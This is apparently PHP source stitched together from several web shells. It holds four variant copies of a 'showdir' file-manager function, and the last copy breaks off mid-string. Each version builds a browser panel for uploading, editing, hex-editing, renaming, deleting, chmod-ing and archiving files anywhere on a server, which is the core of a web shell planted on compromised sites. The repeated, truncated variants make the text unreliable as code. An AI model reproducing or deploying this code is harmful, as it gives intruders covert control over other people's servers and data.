function showdir($cwd) { global $s_self; $posix = function_exists("posix_getpwuid") && function_exists("posix_getgrgid") ? true : false; $win = strtolower(substr(php_uname(), 0, 3)) == "win" ? true : false; $fname = array(); $dname = array(); if (function_exists("scandir") && ($dh = @scandir($cwd))) { foreach ($dh as $file) { if (is_dir($file)) { $dname[] = $file; } elseif (is_file($file)) { $fname[] = $file; } } } else { if ($dh = @opendir($cwd)) { while ($file = readdir($dh)) { if (is_dir($file)) { $dname[] = $file; } elseif (is_file($file)) { $fname[] = $file; } } closedir($dh); } } sort($fname); sort($dname); $list = array_merge($dname, $fname); if ($win) { //check if this root directory chdir(".."); if (cp(getcwd()) == cp($cwd)) { array_unshift($list, "."); } chdir($cwd); } $path = explode(DIRECTORY_SEPARATOR, $cwd); $tree = sizeof($path); $parent = ""; if ($tree > 2) { for ($i = 0; $i < $tree - 2; $i++) { $parent .= $path[$i] . DIRECTORY_SEPARATOR; } } else { $parent = $cwd; } $owner_html = !$win && $posix ? "<th style='width:120px;'>owner:group</th>" : ""; $buff = "\n\t<table class='explore sortable'>\n\t<tr><th>name</th><th style='width:60px;'>size</th>" . $owner_html . "<th style='width:70px;'>perms</th><th style='width:110px;'>modified</th><th style='width:180px;' class='sorttable_nosort'>action</th><th style='width:90px;' class='sorttable_nosort'>download</th></tr>\n\t"; $arc = get_archiver_available(); foreach ($list as $l) { if (!$win && $posix) { $name = posix_getpwuid(fileowner($l)); $group = posix_getgrgid(filegroup($l)); $owner = $name['name'] . "<span class='gaya'>:</span>" . $group['name']; $owner_html = "<td style='text-align:center;'>" . $owner . "</td>"; } $lhref = ""; $lname = ""; $laction = ""; if (is_dir($l)) { if ($l == ".") { $lhref = $s_self . "cd=" . $cwd; $lsize = "LINK"; $laction = "\n\t\t\t\t<span id='titik1'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . "&find=" . $cwd . "' title='find something'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . "&upload' title='upload'>upl</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . "&edit=" . $cwd . "newfile_1&new' title='create new file'>+file</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('titik1','titik1_form');\" title='create new directory'>+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik1_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='cd' value=" . $cwd . "' />\n\t\t\t\t\t<input class='inputz' id='titik1_' style='width:80px;' type='text' name='mkdir' value='newfolder' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('titik1_form','titik1');\" />\n\t\t\t\t</div>"; } elseif ($l == "..") { $lhref = $s_self . "cd=" . $parent; $lsize = "LINK"; $laction = "\n\t\t\t\t<span id='titik2'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $parent . "&find=" . $parent . "' title='find something'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $parent . "&upload' title='upload'>upl</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $parent . "&edit=" . $parent . "newfile_1&new' title='create new file'>+file</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('titik2','titik2_form');\" title='create new directory'>+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik2_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $parent . "' />\n\t\t\t\t\t<input class='inputz' id='titik2_' style='width:80px;' type='text' name='mkdir' value='newfolder' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('titik2_form','titik2');\" />\n\t\t\t\t</div>"; } else { $lhref = $s_self . "cd=" . $cwd . $l . DIRECTORY_SEPARATOR; $lsize = "DIR"; $laction = "\n\t\t\t\t<span id='" . cs($l) . "_link'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . $l . DIRECTORY_SEPARATOR . "&find=" . $cwd . $l . DIRECTORY_SEPARATOR . "' title='find something'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . $l . DIRECTORY_SEPARATOR . "&upload' title='upload'>upl</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('" . cs($l) . "_link','" . cs($l) . "_form');\" title='rename'>ren</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $cwd . "&del=" . $l . "' title='delete'>del</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='" . cs($l) . "_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='oldname' value='" . $l . "' />\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $cwd . "' />\n\t\t\t\t\t<input class='inputz' style='width:80px;' type='text' id='" . cs($l) . "_link_' name='newname' value='" . $l . "' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' value='ren' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('" . cs($l) . "_form','" . cs($l) . "_link');\" />\n\t\t\t\t</div>"; } $lname = "[ " . $l . " ]"; $lsizetit = "0"; } else { $lhref = $s_self . "view=" . $l; $lname = $l; $lsize = gs($l); $lsizetit = @filesize($l); $laction = "\n\t\t\t<div id='" . cs($l) . "_form' class='sembunyi'>\n\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t<input type='hidden' name='oldname' value='" . $l . "' />\n\t\t\t\t<input class='inputz' style='width:80px;' type='text' id='" . cs($l) . "_link_' name='newname' value='" . $l . "' />\n\t\t\t\t<input class='inputzbut' type='submit' name='rename' value='ren' />\n\t\t\t\t</form>\n\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('" . cs($l) . "_form','" . cs($l) . "_link');\" />\n\t\t\t</div>\n\t\t\t<span id='" . cs($l) . "_link'>\n\t\t\t\t<a href='" . $s_self . "edit=" . cs($cwd . $l) . "' title='edit'>edit</a> |\n\t\t\t\t<a href='" . $s_self . "hexedit=" . cs($cwd . $l) . "' title='edit as hex'>hex</a> |\n\t\t\t\t<a href=\"javascript:tukar('" . cs($l) . "_link','" . cs($l) . "_form');\" title='rename'>ren</a> |\n\t\t\t\t<a href='" . $s_self . "del=" . $l . "' title='delete'>del</a>\n\t\t\t</span>"; } $ldl = str_replace("__dlpath__", $l, $arc); $buff .= "\n\t\t<tr>\n\t\t<td class='explorelist' onmouseup=\"return go('" . addslashes($lhref) . "',event);\">\n\t\t\t<a href='" . $lhref . "'>" . $lname . "</a>\n\t\t</td>\n\t\t<td title='" . $lsizetit . "'>" . $lsize . "</td>\n\t\t" . $owner_html . "\n\t\t<td style='text-align:center;'>" . gp($l) . "</td>\n\t\t<td style='text-align:center;'>" . @date("d-M-Y H:i", filemtime($l)) . "</td>\n\t\t<td>" . $laction . "</td>\n\t\t<td>" . $ldl . "</td></tr>"; } $buff .= "</table>"; return $buff; }
function showdir($s_cwd) { global $s_self, $s_win, $s_posix, $s_tar; $s_fname = $s_dname = array(); $s_total_file = $s_total_dir = 0; if ($s_dh = @opendir($s_cwd)) { while ($s_file = @readdir($s_dh)) { if (@is_dir($s_file)) { $s_dname[] = $s_file; } elseif (@is_file($s_file)) { $s_fname[] = $s_file; } } closedir($s_dh); } natcasesort($s_fname); natcasesort($s_dname); $s_list = array_merge($s_dname, $s_fname); if ($s_win) { //check if this root directory chdir(".."); if (cp(getcwd()) == cp($s_cwd)) { array_unshift($s_list, "."); } chdir($s_cwd); } $s_path = explode(DS, $s_cwd); $s_tree = sizeof($s_path); $s_parent = ""; if ($s_tree > 2) { for ($s_i = 0; $s_i < $s_tree - 2; $s_i++) { $s_parent .= $s_path[$s_i] . DS; } } else { $s_parent = $s_cwd; } $s_owner_html = !$s_win && $s_posix ? "<th style='width:140px;min-width:140px;'>owner:group</th>" : ""; $s_colspan = !$s_win && $s_posix ? "5" : "4"; $s_buff = "\n\t<table class='explore sortable'><thead>\n\t<tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>" . $s_owner_html . "<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>"; $s_arc = get_archiver_available(); foreach ($s_list as $s_l) { if (!$s_win && $s_posix) { $s_name = posix_getpwuid(fileowner($s_l)); $s_group = posix_getgrgid(filegroup($s_l)); $s_owner = $s_name['name'] . "<span class='gaya'>:</span>" . $s_group['name']; $s_owner_html = "<td style='text-align:center;'>" . $s_owner . "</td>"; } $s_lhref = $s_lname = $s_laction = ""; if (@is_dir($s_l)) { if ($s_l == ".") { $s_lhref = $s_self . "cd=" . $s_cwd; $s_lsize = "LINK"; $s_laction = "\n\t\t\t\t<span id='titik1'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . "&find=" . $s_cwd . "'>find</a> | <a href='" . $s_self . "cd=" . $s_cwd . "&x=upload'>upl</a> | <a href='" . $s_self . "cd=" . $s_cwd . "&edit=" . $s_cwd . "newfile_1&new=yes'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik1_form'></div>"; } elseif ($s_l == "..") { $s_lhref = $s_self . "cd=" . $s_parent; $s_lsize = "LINK"; $s_laction = "\n\t\t\t\t<span id='titik2'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_parent . "&find=" . $s_parent . "'>find</a> | <a href='" . $s_self . "cd=" . $s_parent . "&x=upload'>upl</a> | <a href='" . $s_self . "cd=" . $s_parent . "&edit=" . $s_parent . "newfile_1&new=yes'>+file</a> | <a href=\"javascript:tukar('titik2','" . adds($s_parent) . "', 'mkdir','newfolder_1');\">+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik2_form'></div>"; } else { $s_lhref = $s_self . "cd=" . $s_cwd . $s_l . DS; $s_lsize = "DIR"; $s_laction = "\n\t\t\t\t<span id='" . cs($s_l) . "_'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . $s_l . DS . "&find=" . $s_cwd . $s_l . DS . "'>find</a> | <a href='" . $s_self . "cd=" . $s_cwd . $s_l . DS . "&x=upload'>upl</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . $s_l . "','" . $s_l . "');\">ren</a> | <a href='" . $s_self . "cd=" . $s_cwd . "&del=" . $s_l . "'>del</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='" . cs($s_l) . "__form'></div>"; $s_total_dir++; } $s_lname = "[ " . $s_l . " ]"; $s_lsizetit = "0"; $s_lnametit = "dir : " . $s_l; } else { $s_lhref = $s_self . "view=" . $s_cwd . $s_l; $s_lname = $s_l; $s_lsize = gs($s_l); $s_lsizetit = @filesize($s_l); $s_lnametit = "file : " . $s_l; $s_laction = "\n\t\t\t<span id='" . cs($s_l) . "_'>\n\t\t\t\t<a href='" . $s_self . "edit=" . $s_cwd . $s_l . "'>edit</a> | <a href='" . $s_self . "hexedit=" . $s_cwd . $s_l . "'>hex</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . $s_l . "','" . $s_l . "');\">ren</a> | <a href='" . $s_self . "del=" . $s_cwd . $s_l . "'>del</a> | <a href='" . $s_self . "dl=" . $s_cwd . $s_l . "'>dl</a>\n\t\t\t</span>\n\t\t\t<div id='" . cs($s_l) . "__form'></div>"; $s_total_file++; } $s_cboxval = $s_cwd . $s_l; if ($s_l == '.') { $s_cboxval = $s_cwd; } if ($s_l == '..') { $s_cboxval = $s_parent; } $s_cboxes_id = substr(md5($s_lhref), 0, 8); $s_cboxes = "<input id='" . $s_cboxes_id . "' name='cbox' value='" . $s_cboxval . "' type='checkbox' class='css-checkbox' onchange='hilite(this);' />\n\t\t\t\t\t<label for='" . $s_cboxes_id . "' class='css-label'></label>"; $s_ldl = str_replace("__dlpath__", $s_l, $s_arc); $s_ltime = filemtime($s_l); $s_buff .= "\n\t\t<tr>\n\t\t<td style='text-align:center;text-indent:4px;'>" . $s_cboxes . "</td>\n\t\t<td class='explorelist' title='" . $s_lnametit . "' ondblclick=\"return go('" . adds($s_lhref) . "',event);\">\n\t\t\t<a href='" . $s_lhref . "'>" . $s_lname . "</a>\n\t\t</td>\n\t\t<td title='" . $s_lsizetit . "'>" . $s_lsize . "</td>\n\t\t" . $s_owner_html . "\n\t\t<td style='text-align:center;'>" . gp($s_l) . "</td>\n\t\t<td style='text-align:center;' title='" . $s_ltime . "'>" . @date("d-M-Y H:i:s", $s_ltime) . "</td>\n\t\t<td>" . $s_laction . "</td>\n\t\t</tr>"; } $s_buff .= "</tbody>"; $s_extract = ""; $s_compress = ""; if (class_exists("ZipArchive")) { $s_extract .= "<option value='extractzip'>extract (zip)</option>"; $s_compress .= "<option value='compresszip'>compress (zip)</option>"; } if ($s_tar) { $s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>"; $s_compress .= "<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>"; } $s_extcom = $s_extract != "" && $s_compress != "" ? $s_extract . "<option value='' disabled>-</option>" . $s_compress : $s_extract . $s_compress; $s_buff .= "<tfoot><tr class='cbox_selected'>\n\t\t\t<td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td>\n\t\t\t<td>\n\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t<select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'>\n\t\t\t\t<option value='' disabled selected>Action</option>\n\t\t\t\t<option value='cut'>cut</option>\n\t\t\t\t<option value='copy'>copy</option>\n\t\t\t\t<option value='paste'>paste</option>\n\t\t\t\t<option value='delete'>delete</option>\n\t\t\t\t<option value='' disabled>-</option>\n\t\t\t\t<option value='chmod'>chmod</option>\n\t\t\t\t<option value='touch'>touch</option>\n\t\t\t\t<option value='' disabled>-</option>\n\t\t\t\t" . $s_extcom . "\n\t\t\t</select>\n\t\t\t<noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form>\n\t\t\t</td><td colspan='" . $s_colspan . "' style='text-align:left;'>Total : " . $s_total_file . " files, " . $s_total_dir . " Directories<span id='total_selected'></span></td>\n\t\t\t</tr></tfoot>\n\t\t\t</table>"; return $s_buff; }
function showdir($cwd) { $posix = function_exists("posix_getpwuid") && function_exists("posix_getgrgid") ? true : false; $win = strtolower(substr(php_uname(), 0, 3)) == "win" ? true : false; $fname = array(); $dname = array(); if (function_exists("scandir") && ($dh = @scandir($cwd))) { foreach ($dh as $file) { if (is_dir($file)) { $dname[] = $file; } elseif (is_file($file)) { $fname[] = $file; } } } else { if ($dh = @opendir($cwd)) { while ($file = readdir($dh)) { if (is_dir($file)) { $dname[] = $file; } elseif (is_file($file)) { $fname[] = $file; } } closedir($dh); } } sort($fname); sort($dname); $path = explode(DIRECTORY_SEPARATOR, $cwd); $tree = sizeof($path); $parent = ""; $owner_html = !$win && $posix ? "<th style=\"width:120px;\">owner : group</th>" : ""; $buff = "\r\n\t<table class=\"explore sortable\">\r\n\t<tr><th>name</th><th style=\"width:60px;\">size</th>" . $owner_html . "<th style=\"width:70px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:180px;\">action</th><th style=\"width:90px;\">download</th></tr>\r\n\t"; if ($tree > 2) { for ($i = 0; $i < $tree - 2; $i++) { $parent .= $path[$i] . DIRECTORY_SEPARATOR; } } else { $parent = $cwd; } $dlfile = get_archiver_available(); foreach ($dname as $folder) { if (!$win && $posix) { $name = posix_getpwuid(fileowner($folder)); $group = posix_getgrgid(filegroup($folder)); $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name']; $owner_html = "<td style=\"text-align:center;\">" . $owner . "</td>"; } $dlfile_ = str_replace("<option value=\"raw\">raw</option>", "", $dlfile); $dlfile_ = str_replace("__dlpath__", $folder, $dlfile_); $dlfile_ = str_replace("__dlcwd__", $cwd, $dlfile_); if ($folder == ".") { $buff .= "<tr><td class=\"explorelist\" onmouseup=\"xplgo('" . addslashes($cwd) . "');\"><a href=\"?d=" . $cwd . "\">[ {$folder} ]</a></td><td>LINK</td>" . $owner_html . "<td style=\"text-align:center;\">" . gp($cwd) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", filemtime($cwd)) . "</td><td><span id=\"titik1\"><a href=\"?upload&d={$cwd}\">upload</a> | <a href=\"?d={$cwd}&edit=" . $cwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>\r\n\t\t\t<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"" . $cwd . "\" />\r\n\t\t\t<input class=\"inputz\" id=\"titik1_\" style=\"width:110px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />\r\n\t\t\t</form></td><td>" . $dlfile_ . "</td></tr>\r\n\t\t\t"; } elseif ($folder == "..") { $buff .= "<tr><td class=\"explorelist\" onmouseup=\"xplgo('" . addslashes($parent) . "');\"><a href=\"?d=" . $parent . "\">[ {$folder} ]</a></td><td>LINK</td>" . $owner_html . "<td style=\"text-align:center;\">" . gp($parent) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", filemtime($parent)) . "</td><td><span id=\"titik2\"><a href=\"?upload&d={$parent}\">upload</a> | <a href=\"?d={$cwd}&edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>\r\n\t\t\t<form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"" . $cwd . "\" />\r\n\t\t\t<input class=\"inputz\" id=\"titik2_\" style=\"width:110px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />\r\n\t\t\t</form>\r\n\t\t\t</td><td>" . $dlfile_ . "</td></tr>"; } else { $buff .= "<tr><td class=\"explorelist\" onmouseup=\"xplgo('" . addslashes($cwd . $folder . DIRECTORY_SEPARATOR) . "');\"><a id=\"" . cs($folder) . "_link\" href=\"?d=" . $cwd . $folder . DIRECTORY_SEPARATOR . "\">[ {$folder} ]</a>\r\n\t\t\t<form onclick=\"cancelBubble(event);\" action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" id=\"" . cs($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t\t<input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" />\r\n\t\t\t<input type=\"hidden\" name=\"d\" value=\"" . $cwd . "\" />\r\n\t\t\t<input class=\"inputz\" style=\"width:200px;\" id=\"" . cs($folder) . "_link_\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />\r\n\t\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . cs($folder) . "_form','" . cs($folder) . "_link');\" />\r\n\t\t\t</form>\r\n\t\t\t<td>DIR</td>" . $owner_html . "<td style=\"text-align:center;\">" . gp($cwd . $folder) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", filemtime($folder)) . "</td><td><a href=\"?upload&d=" . $cwd . $folder . "\">upload</a> | <a href=\"javascript:tukar('" . cs($folder) . "_link','" . cs($folder) . "_form');\">rename</a> | <a href=\"?d=" . $cwd . "&rmdir=" . $cwd . $folder . "\">delete</a></td><td>" . $dlfile_ . "</td></tr>"; } } foreach ($fname as $file) { $full = $cwd . $file; if (!$win && $posix) { $name = posix_getpwuid(fileowner($full)); $group = posix_getgrgid(filegroup($full)); $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name']; $owner_html = "<td style=\"text-align:center;\">" . $owner . "</td>"; } $dlfile_ = str_replace("__dlpath__", $file, $dlfile); $dlfile_ = str_replace("__dlcwd__", $cwd, $dlfile_); $buff .= "<tr><td class=\"explorelist\" onmouseup=\"xplgo('" . addslashes($cwd) . "&view=" . addslashes($full) . "');\"><a id=\"" . cs($file) . "_link\" href=\"?d={$cwd}&view={$full}\">{$file}</a>\r\n\t\t<form onclick=\"cancelBubble(event);\" action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" id=\"" . cs($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">\r\n\t\t<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" />\r\n\t\t<input type=\"hidden\" name=\"d\" value=\"" . $cwd . "\" />\r\n\t\t<input class=\"inputz\" style=\"width:200px;\" type=\"text\" id=\"" . cs($file) . "_link_\" name=\"newname\" value=\"" . $file . "\" />\r\n\t\t<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />\r\n\t\t<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . cs($file) . "_link','" . cs($file) . "_form');\" />\r\n\t\t</form>\r\n\t\t</td><td title=\"" . filesize($full) . "\">" . gs($full) . "</td>" . $owner_html . "<td style=\"text-align:center;\">" . gp($full) . "</td><td style=\"text-align:center;\">" . date("d-M-Y H:i", filemtime($full)) . "</td>\r\n\t\t<td><a href=\"?d={$cwd}&edit={$full}\">edit</a> | <a href=\"javascript:tukar('" . cs($file) . "_link','" . cs($file) . "_form');\">rename</a> | <a href=\"?d={$cwd}&delete={$full}\">delete</a></td><td>" . $dlfile_ . "</td></tr>"; } $buff .= "</table>"; return $buff; }
function showdir($s_cwd) { global $s_self, $s_tar; $s_posix = function_exists("posix_getpwuid") && function_exists("posix_getgrgid") ? true : false; $s_win = strtolower(substr(php_uname(), 0, 3)) == "win" ? true : false; $s_fname = array(); $s_dname = array(); $s_total_file = 0; $s_total_dir = 0; if (function_exists("scandir") && ($s_dh = @scandir($s_cwd))) { foreach ($s_dh as $s_file) { if (is_dir($s_file)) { $s_dname[] = $s_file; } elseif (is_file($s_file)) { $s_fname[] = $s_file; } } } else { if ($s_dh = @opendir($s_cwd)) { while ($s_file = readdir($s_dh)) { if (is_dir($s_file)) { $s_dname[] = $s_file; } elseif (is_file($s_file)) { $s_fname[] = $s_file; } } closedir($s_dh); } } natcasesort($s_fname); natcasesort($s_dname); $s_list = array_merge($s_dname, $s_fname); if ($s_win) { //check if this root directory chdir(".."); if (cp(getcwd()) == cp($s_cwd)) { array_unshift($s_list, "."); } chdir($s_cwd); } $s_path = explode(DIRECTORY_SEPARATOR, $s_cwd); $s_tree = sizeof($s_path); $s_parent = ""; if ($s_tree > 2) { for ($s_i = 0; $s_i < $s_tree - 2; $s_i++) { $s_parent .= $s_path[$s_i] . DIRECTORY_SEPARATOR; } } else { $s_parent = $s_cwd; } $s_owner_html = !$s_win && $s_posix ? "<th style='width:140px;min-width:140px;'>owner:group</th>" : ""; $s_colspan = !$s_win && $s_posix ? "6" : "5"; $s_buff = "\n\t<table class='explore sortable'>\n\t<tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>" . $s_owner_html . "<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:190px;min-width:190px;' class='sorttable_nosort'>action</th><th style='width:90px;min-width:90px;' class='sorttable_nosort'>download</th></tr>\n\t"; $s_arc = get_archiver_available(); foreach ($s_list as $s_l) { if (!$s_win && $s_posix) { $s_name = posix_getpwuid(fileowner($s_l)); $s_group = posix_getgrgid(filegroup($s_l)); $s_owner = $s_name['name'] . "<span class='gaya'>:</span>" . $s_group['name']; $s_owner_html = "<td style='text-align:center;'>" . $s_owner . "</td>"; } $s_lhref = ""; $s_lname = ""; $s_laction = ""; if (is_dir($s_l)) { if ($s_l == ".") { $s_lhref = $s_self . "cd=" . $s_cwd; $s_lsize = "LINK"; $s_laction = "\n\t\t\t\t<span id='titik1'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . "&find=" . $s_cwd . "' title='find something' onclick='return false;'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . "&x=upload' title='upload' onclick='return false;'>upl</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . "&edit=" . $s_cwd . "newfile_1&new=yes' title='create new file' onclick='return false;'>+file</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('titik1','titik1_form');\" title='create new directory'>+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik1_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $s_cwd . "' />\n\t\t\t\t\t<input class='inputz' id='titik1_' style='width:80px;' type='text' name='mkdir' value='newfolder_1' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('titik1_form','titik1');\" />\n\t\t\t\t</div>"; } elseif ($s_l == "..") { $s_lhref = $s_self . "cd=" . $s_parent; $s_lsize = "LINK"; $s_laction = "\n\t\t\t\t<span id='titik2'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_parent . "&find=" . $s_parent . "' title='find something' onclick='return false;'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_parent . "&x=upload' title='upload' onclick='return false;'>upl</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_parent . "&edit=" . $s_parent . "newfile_1&new=yes' title='create new file' onclick='return false;'>+file</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('titik2','titik2_form');\" title='create new directory'>+dir</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='titik2_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $s_parent . "' />\n\t\t\t\t\t<input class='inputz' id='titik2_' style='width:80px;' type='text' name='mkdir' value='newfolder_1' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' style='width:35px;' value='Go !' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('titik2_form','titik2');\" />\n\t\t\t\t</div>"; } else { $s_lhref = $s_self . "cd=" . $s_cwd . $s_l . DIRECTORY_SEPARATOR; $s_lsize = "DIR"; $s_laction = "\n\t\t\t\t<span id='" . cs($s_l) . "_link'>\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . $s_l . DIRECTORY_SEPARATOR . "&find=" . $s_cwd . $s_l . DIRECTORY_SEPARATOR . "' title='find something' onclick='return false;'>find</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . $s_l . DIRECTORY_SEPARATOR . "&x=upload' title='upload' onclick='return false;'>upl</a> |\n\t\t\t\t\t<a href=\"javascript:tukar('" . cs($s_l) . "_link','" . cs($s_l) . "_form');\" title='rename'>ren</a> |\n\t\t\t\t\t<a href='" . $s_self . "cd=" . $s_cwd . "&del=" . $s_l . "' title='delete' onclick='return false;'>del</a>\n\t\t\t\t</span>\n\t\t\t\t<div id='" . cs($s_l) . "_form' class='sembunyi'>\n\t\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t\t<input type='hidden' name='oldname' value='" . $s_l . "' />\n\t\t\t\t\t<input type='hidden' name='cd' value='" . $s_cwd . "' />\n\t\t\t\t\t<input class='inputz' style='width:80px;' type='text' id='" . cs($s_l) . "_link_' name='newname' value='" . $s_l . "' />\n\t\t\t\t\t<input class='inputzbut' type='submit' name='rename' value='ren' />\n\t\t\t\t\t</form>\n\t\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('" . cs($s_l) . "_form','" . cs($s_l) . "_link');\" />\n\t\t\t\t</div>"; $s_total_dir++; } $s_lname = "[ " . $s_l . " ]"; $s_lsizetit = "0"; $s_lnametit = "dir : " . $s_l; } else { $s_lhref = $s_self . "view=" . $s_cwd . $s_l; $s_lname = $s_l; $s_lsize = gs($s_l); $s_lsizetit = @filesize($s_l); $s_lnametit = "file : " . $s_l; $s_laction = "\n\t\t\t<div id='" . cs($s_l) . "_form' class='sembunyi'>\n\t\t\t\t<form action='" . $s_self . "' method='post'>\n\t\t\t\t<input type='hidden' name='oldname' value='" . $s_l . "' />\n\t\t\t\t<input class='inputz' style='width:80px;' type='text' id='" . cs($s_l) . "_link_' name='newname' value='" . $s_l . "' />\n\t\t\t\t<input class='inputzbut' type='submit' name='rename' value='ren' />\n\t\t\t\t</form>\n\t\t\t\t<input class='inputzbut' type='button' value='x' onclick=\"tukar('" . cs($s_l) . "_form','" . cs($s_l) . "_link');\" 